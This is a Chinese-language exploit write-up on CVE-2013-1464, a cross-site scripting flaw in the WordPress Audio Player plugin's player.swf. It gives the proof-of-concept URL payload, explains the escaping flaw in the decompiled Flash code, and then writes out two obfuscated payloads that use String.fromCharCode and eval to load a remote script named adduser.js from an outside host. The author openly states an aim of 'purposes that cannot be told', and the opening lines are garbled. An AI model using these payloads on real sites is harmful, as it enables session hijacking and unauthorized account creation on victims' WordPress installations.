js文件中调用js文件

別の1種の生

在[CVE-2013-1464]WordPress Audio Player Plugin XSS in SWF

POC:

/wp-content/plugins/audio-player/assets/player.swf?playerID=a\”))}catch(e){alert(1)}//

查看player.swf ：

if (flash.external.ExternalInterface.available) {

2                flash.external.ExternalInterface.addCallback("load", Application, ei_loadFile);

3                flash.external.ExternalInterface.addCallback("close", Application, ei_closePlayer);

4                flash.external.ExternalInterface.addCallback("open", Application, ei_openPlayer);

5                flash.external.ExternalInterface.addCallback("setVolume", Application, ei_setVolume);

6                flash.external.ExternalInterface.addCallback("addListener", Application, addJSListener);

7                flash.external.ExternalInterface.addCallback("removeListener", Application, removeJSListener);

8                var _local2 = Number(flash.external.ExternalInterface.call("AudioPlayer.getVolume", _options.playerID));

和

setInterval(_update, 100);

2            if (flash.external.ExternalInterface.available) {

3                flash.external.ExternalInterface.call("onWPPlayerReady", _options.playerID);

4            }

重点是每个代码最后含有playerID的一行。

因为外部的html的javascript中并没有存在AudioPlayer.getVolume和onWPPlayerReady函数，所以会默认进入try…catch中（浏览器默认功能）

在IE9/10中调试查看

view source1 try { __flash__toXML(AudioPlayer.getVolume("a\\"))}catch(e){alert(1)}//")) ; } catch (e) { "<undefined/>"; }

可以看出\”中  的双引号被转义为\”，这样\”就被转义为\\”，双引号起作用，达到了闭合的效果。然后补充catch模块，并注释掉其它，一个XSS就诞生了……所以，这里其实是flash本身的一个功能缺陷。flash并没有把’\'这个符号进行转义。

但，因为现在可控的都在javascript代码中。现在要引用外部js来达到不可告人的目的，这里就出了问题……因为利用js重新页面竟然没有成功……不知道还有什么办法引用并调用外部js么……

把这过程积累的引用外部js写出来，因为其中不能再出现” ，即双引号，所以用String.fromCharCode来转换，再结合eval执行。

方法一

转换前

view source1 eval("new_element=document.createElement("script"); new_element.setAttribute("type","text/javascript"); new_element.setAttribute("src","http://www.abc.com/share/adduser.js"); document.body.appendChild(new_element);");

转换后

eval(String.fromCharCode(34,110,101,119,95,101,108,101,109,101,110,116,61,100,111,99,117,109,101,110,116,46,99,
114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,32,
110,101,119,95,101,108,101,109,101,110,116,46,115,101,116,65,116,116,114,105,98,117,116,
101,40,34,116,121,112,101,34,44,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,
116,34,41,59,32,110,101,119,95,101,108,101,109,101,110,116,46,115,101,116,65,116,116,114,
105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,119,119,119,46,97,
98,99,46,99,111,109,47,115,104,97,114,101,47,97,100,100,117,115,101,114,46,106,115,34,41,
59,32,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,
105,108,100,40,110,101,119,95,101,108,101,109,101,110,116,41,59,34));

方法二

转换前：

view source1 eval("document.write('<script src=\"http://www.abc.com/share/adduser.js\"></script\>')");

转换后：

eval(String.fromCharCode(34,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,
115,114,99,61,92,34,104,116,116,112,58,47,47,119,119,119,46,97,98,99,46,99,111,109,47,115,104,97,
114,101,47,97,100,100,117,115,101,114,46,106,115,92,34,62,60,47,115,99,114,105,112,116,92,62,
39,41,34));